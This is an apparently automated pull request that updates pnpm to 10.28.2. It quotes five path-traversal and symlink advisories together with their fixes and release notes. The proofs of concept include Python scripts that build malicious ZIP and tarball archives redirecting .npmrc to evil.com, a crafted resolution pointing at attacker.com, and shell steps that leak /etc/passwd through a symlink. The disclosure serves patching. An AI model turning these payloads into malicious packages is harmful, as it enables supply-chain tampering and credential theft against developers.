chore(deps): update pnpm to v10.28.2 [security] #861

github-actions · 2026-02-02T08:53:46Z

This PR contains the following updates:

Package	Type	Update	Change
pnpm (source)	packageManager	minor	`10.27.0` -> `10.28.2`
pnpm (source)	engines	minor	`^10.27.0` -> `^10.28.2`

pnpm: Binary ZIP extraction allows arbitrary file write via path traversal (Zip Slip)

CVE-2026-23888 / GHSA-6pfh-p556-v868

More information

Details

Summary

A path traversal vulnerability in pnpm's binary fetcher allows malicious packages to write files outside the intended extraction directory. The vulnerability has two attack vectors: (1) Malicious ZIP entries containing ../ or absolute paths that escape the extraction root via AdmZip's extractAllTo, and (2) The BinaryResolution.prefix field is concatenated into the extraction path without validation, allowing a crafted prefix like ../../evil to redirect extracted files outside targetDir.

Details

The vulnerability exists in the binary fetching and extraction logic:

1. Unvalidated ZIP Entry Extraction (fetching/binary-fetcher/src/index.ts)

AdmZip's extractAllTo does not validate entry paths for path traversal:

const zip = new AdmZip(buffer)
const nodeDir = basename === '' ? targetDir : path.dirname(targetDir)
const extractedDir = path.join(nodeDir, basename)
zip.extractAllTo(nodeDir, true)  // Entry paths not validated!
await renameOverwrite(extractedDir, targetDir)

A ZIP entry with path ../../../.npmrc will be written outside nodeDir.

2. Unvalidated Prefix in BinaryResolution (resolving/resolver-base/src/index.ts)

The basename variable comes from BinaryResolution.prefix and is used directly in path construction:

const extractedDir = path.join(nodeDir, basename)
// If basename is '../../evil', this points outside nodeDir

PoC

Attack Vector 1: ZIP Entry Path Traversal

import zipfile
import io

zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w') as zf:
    # Normal file
    zf.writestr('node-v20.0.0-linux-x64/bin/node', b'#!/bin/sh\necho "legit node"')
    # Malicious path traversal entry
    zf.writestr('../../../.npmrc', b'registry=https://evil.com/\n')

with open('malicious-node.zip', 'wb') as f:
    f.write(zip_buffer.getvalue())

Attack Vector 2: Prefix Traversal via malicious resolution:

{
  "resolution": {
    "type": "binary",
    "url": "https://attacker.com/node.zip",
    "prefix": "../../PWNED"
  }
}

Impact

All pnpm users who install packages with binary assets
Users who configure custom Node.js binary locations
CI/CD pipelines that auto-install binary dependencies
Can overwrite config files, scripts, or other sensitive files leading to RCE

Verified on pnpm main @ commit 5a0ed1d45.

Severity

CVSS Score: 6.5 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

pnpm scoped bin name Path Traversal allows arbitrary file creation outside node_modules/.bin

CVE-2026-23890 / GHSA-xpqm-wm3m-f34h

More information

Details

Summary

A path traversal vulnerability in pnpm's bin linking allows malicious npm packages to create executable shims or symlinks outside of node_modules/.bin. Bin names starting with @ bypass validation, and after scope normalization, path traversal sequences like ../../ remain intact.

Details

The vulnerability exists in the bin name validation and normalization logic:

1. Validation Bypass (pkg-manager/package-bins/src/index.ts)

The filter allows any bin name starting with @ to pass through without validation:

.filter((commandName) =>
  encodeURIComponent(commandName) === commandName ||
  commandName === '' ||
  commandName[0] === '@&#8203;'  // <-- Bypasses validation
)

2. Incomplete Normalization (pkg-manager/package-bins/src/index.ts)

function normalizeBinName (name: string): string {
  return name[0] === '@&#8203;' ? name.slice(name.indexOf('/') + 1) : name
}
// Input:  @&#8203;scope/../../evil
// Output: ../../evil  <-- Path traversal preserved!

3. Exploitation (pkg-manager/link-bins/src/index.ts:288)

The normalized name is used directly in path.join() without validation.

PoC

Create a malicious package:

{
  "name": "malicious-pkg",
  "version": "1.0.0",
  "bin": {
    "@&#8203;scope/../../.npmrc": "./malicious.js"
  }
}

Install the package:

pnpm add /path/to/malicious-pkg

Observe .npmrc created in project root (outside node_modules/.bin).

Impact

All pnpm users who install npm packages
CI/CD pipelines using pnpm
Can overwrite config files, scripts, or other sensitive files

Verified on pnpm main @ commit 5a0ed1d45.

Severity

CVSS Score: 6.5 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

pnpm has Windows-specific tarball Path Traversal

CVE-2026-23889 / GHSA-6x96-7vc8-cm3p

More information

Details

Summary

A path traversal vulnerability in pnpm's tarball extraction allows malicious packages to write files outside the package directory on Windows. The path normalization only checks for ./ but not .\. On Windows, backslashes are directory separators, enabling path traversal.

This vulnerability is Windows-only.

Details

1. Incomplete Path Normalization (store/cafs/src/parseTarball.ts:107-110)

if (fileName.includes('./')) {
  fileName = path.posix.join('/', fileName).slice(1)
}

A path like foo\..\..\.npmrc does NOT contain ./ and bypasses this check.

2. Platform-Dependent Behavior (fs/indexed-pkg-importer/src/importIndexedDir.ts:97-98)

On Unix: Backslashes are literal filename characters (safe)
On Windows: Backslashes are directory separators (exploitable)

PoC

Create a malicious tarball with entry package/foo\..\..\.npmrc
Host it or use as a tarball URL dependency
On Windows: pnpm install
Observe .npmrc written outside package directory

import tarfile, io

tar_buffer = io.BytesIO()
with tarfile.open(fileobj=tar_buffer, mode='w:gz') as tar:
    pkg_json = b'{"name": "malicious-pkg", "version": "1.0.0"}'
    pkg_info = tarfile.TarInfo(name='package/package.json')
    pkg_info.size = len(pkg_json)
    tar.addfile(pkg_info, io.BytesIO(pkg_json))

    malicious_content = b'registry=https://evil.com/\n'
    mal_info = tarfile.TarInfo(name='package/foo\\..\\..\\.npmrc')
    mal_info.size = len(malicious_content)
    tar.addfile(mal_info, io.BytesIO(malicious_content))

with open('malicious-pkg-1.0.0.tgz', 'wb') as f:
    f.write(tar_buffer.getvalue())

Impact

Windows pnpm users
Windows CI/CD pipelines (GitHub Actions Windows runners, Azure DevOps)
Can overwrite .npmrc, build configs, or other files

Verified on pnpm main @ commit 5a0ed1d45.

Severity

CVSS Score: 6.5 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

pnpm has Path Traversal via arbitrary file permission modification

CVE-2026-24131 / GHSA-v253-rj99-jwpq

More information

Details

Summary

When pnpm processes a package's directories.bin field, it uses path.join() without validating the result stays within the package root. A malicious npm package can specify "directories": {"bin": "../../../../tmp"} to escape the package directory, causing pnpm to chmod 755 files at arbitrary locations.

Note: Only affects Unix/Linux/macOS. Windows is not affected (fixBin gated by EXECUTABLE_SHEBANG_SUPPORTED).

Details

Vulnerable code in pkg-manager/package-bins/src/index.ts:15-21:

if (manifest.directories?.bin) {
  const binDir = path.join(pkgPath, manifest.directories.bin)  // NO VALIDATION
  const files = await findFiles(binDir)
  // ... files outside package returned, then chmod 755'd
}

The bin field IS protected with isSubdir() at line 53, but directories.bin lacks this check.

PoC

##### Create malicious package
mkdir /tmp/malicious-pkg
echo '{"name":"malicious","version":"1.0.0","directories":{"bin":"../../../../tmp/target"}}' > /tmp/malicious-pkg/package.json

##### Create sensitive file
mkdir -p /tmp/target
echo "secret" > /tmp/target/secret.sh
chmod 600 /tmp/target/secret.sh  # Private

##### Install
pnpm add file:/tmp/malicious-pkg

##### Check permissions
ls -la /tmp/target/secret.sh  # Now 755 (world-readable)

Impact

Supply-chain attack via npm packages
File permissions changed from 600 to 755 (world-readable)
Affects non-dotfiles in predictable paths (dotfiles excluded by tinyglobby default)

Suggested Fix

Add isSubdir validation for directories.bin paths in pkg-manager/package-bins/src/index.ts, matching the existing validation in commandsFromBin():

if (manifest.directories?.bin) {
  const binDir = path.join(pkgPath, manifest.directories.bin)
  if (!isSubdir(pkgPath, binDir)) {
    return []  // Reject paths outside package
  }
  // ...
}

Severity

CVSS Score: Unknown
Vector String: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

pnpm has symlink traversal in file:/git dependencies

CVE-2026-24056 / GHSA-m733-5w8f-5ggw

More information

Details

Summary

When pnpm installs a file: (directory) or git: dependency, it follows symlinks and reads their target contents without constraining them to the package root. A malicious package containing a symlink to an absolute path (e.g., /etc/passwd, ~/.ssh/id_rsa) causes pnpm to copy that file's contents into node_modules, leaking local data.

Preconditions: Only affects file: and git: dependencies. Registry packages (npm) have symlinks stripped during publish and are NOT affected.

Details

The vulnerability exists in store/cafs/src/addFilesFromDir.ts. The code uses fs.statSync() and readFileSync() which follow symlinks by default:

const absolutePath = path.join(dirname, relativePath)
const stat = fs.statSync(absolutePath)  // Follows symlinks!
const buffer = fs.readFileSync(absolutePath)  // Reads symlink TARGET

There is no check that absolutePath resolves to a location inside the package directory.

PoC

##### Create malicious package
mkdir -p /tmp/evil && cd /tmp/evil
ln -s /etc/passwd leaked-passwd.txt
echo '{"name":"evil","version":"1.0.0","files":["*.txt"]}' > package.json

##### Victim installs
mkdir /tmp/victim && cd /tmp/victim
pnpm init && pnpm add file:../evil

##### Leaked!
cat node_modules/evil/leaked-passwd.txt

Impact

Developers installing local/file dependencies
CI/CD pipelines installing git dependencies
Credential theft via symlinks to ~/.aws/credentials, ~/.npmrc, ~/.ssh/id_rsa

Suggested Fix

Use lstatSync to detect symlinks and reject those pointing outside the package root in store/cafs/src/addFilesFromDir.ts.

Severity

CVSS Score: Unknown
Vector String: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Release Notes

pnpm/pnpm (pnpm)

`v10.28.2`: pnpm 10.28.2

Compare Source

Patch Changes

Security fix: prevent path traversal in directories.bin field.
When pnpm installs a file: or git: dependency, it now validates that symlinks point within the package directory. Symlinks to paths outside the package root are skipped to prevent local data from being leaked into node_modules.

This fixes a security issue where a malicious package could create symlinks to sensitive files (e.g., /etc/passwd, ~/.ssh/id_rsa) and have their contents copied when the package is installed.

Note: This only affects file: and git: dependencies. Registry packages (npm) have symlinks stripped during publish and are not affected.
Fixed optional dependencies to request full metadata from the registry to get the libc field, which is required for proper platform compatibility checks #9950.

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`v10.28.1`: pnpm 10.28.1

Compare Source

Patch Changes

Fixed installation of config dependencies from private registries.

Added support for object type in configDependencies when the tarball URL returned from package metadata differs from the computed URL #10431.
Fix path traversal vulnerability in binary fetcher ZIP extraction
- Validate ZIP entry paths before extraction to prevent writing files outside target directory
- Validate BinaryResolution.prefix (basename) to prevent directory escape via crafted prefix
- Both attack vectors now throw ERR_PNPM_PATH_TRAVERSAL error
Support plain http:// and https:// URLs ending with .git as git repository dependencies.

Previously, URLs like https://gitea.example.org/user/repo.git#commit were not recognized as git repositories because they lacked the git+ prefix (e.g., git+https://). This caused issues when installing dependencies from self-hosted git servers like Gitea or Forgejo that don't provide tarball downloads.

Changes:
- The git resolver now runs before the tarball resolver, ensuring git URLs are handled by the correct resolver
- The git resolver now recognizes plain http:// and https:// URLs ending in .git as git repositories
- Removed the isRepository check from the tarball resolver since it's no longer needed with the new resolver order
Fixes #10468
pnpm run -r and pnpm run --filter now fail with a non-zero exit code when no packages have the specified script. Previously, this only failed when all packages were selected. Use --if-present to suppress this error #6844.
Fixed a path traversal vulnerability in tarball extraction on Windows. The path normalization was only checking for ./ but not .\. Since backslashes are directory separators on Windows, malicious packages could use paths like foo\..\..\.npmrc to write files outside the package directory.
When running "pnpm exec" from a subdirectory of a project, don't change the current working directory to the root of the project #5759.
Fixed a path traversal vulnerability in pnpm's bin linking. Bin names starting with @ bypassed validation, and after scope normalization, path traversal sequences like ../../ remained intact.
Revert Try to avoid making network calls with preferOffline #10334.
Fix --save-peer to write valid semver ranges to peerDependencies for protocol-based installs (e.g. jsr:) by deriving from resolved versions when available and falling back to * if none is available #10417.
Do not exclude the root workspace project, when it is explicitly selected via a filter #10465.

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`v10.28.0`: pnpm 10.28

Compare Source

Minor Changes

Add support for a hook called beforePacking that can be used to customize the package.json contents at publish time #3816.
In some cases, a filtered install (i.e. pnpm install --filter ...) was slower than running pnpm install without any filter arguments. This performance regression is now fixed. Filtered installs should be as fast or faster than a full install #10408.

Patch Changes

Do not add a symlink to the project into the store's project registry if the store is in a subdirectory of the project #10411.
It should be possible to declare the requiredScripts setting in pnpm-workspace.yaml #10261.

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chore(deps): update pnpm to v10.28.2 [security]

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pnpm: Binary ZIP extraction allows arbitrary file write via path traversal (Zip Slip)

Details

Summary

Details

PoC

Impact

Severity

References

pnpm scoped bin name Path Traversal allows arbitrary file creation outside node_modules/.bin

Details

Summary

Details

PoC

Impact

Severity

References

pnpm has Windows-specific tarball Path Traversal

Details

Summary

Details

PoC

Impact

Severity

References

pnpm has Path Traversal via arbitrary file permission modification

Details

Summary

Details

PoC

Impact

Suggested Fix

Severity

References

pnpm has symlink traversal in file:/git dependencies

Details

Summary

Details

PoC

Impact

Suggested Fix

Severity

References

Release Notes

v10.28.2: pnpm 10.28.2

Patch Changes

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v10.28.1: pnpm 10.28.1

Patch Changes

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v10.28.0: pnpm 10.28

Minor Changes

Patch Changes

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Configuration

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`v10.28.2`: pnpm 10.28.2

`v10.28.1`: pnpm 10.28.1

`v10.28.0`: pnpm 10.28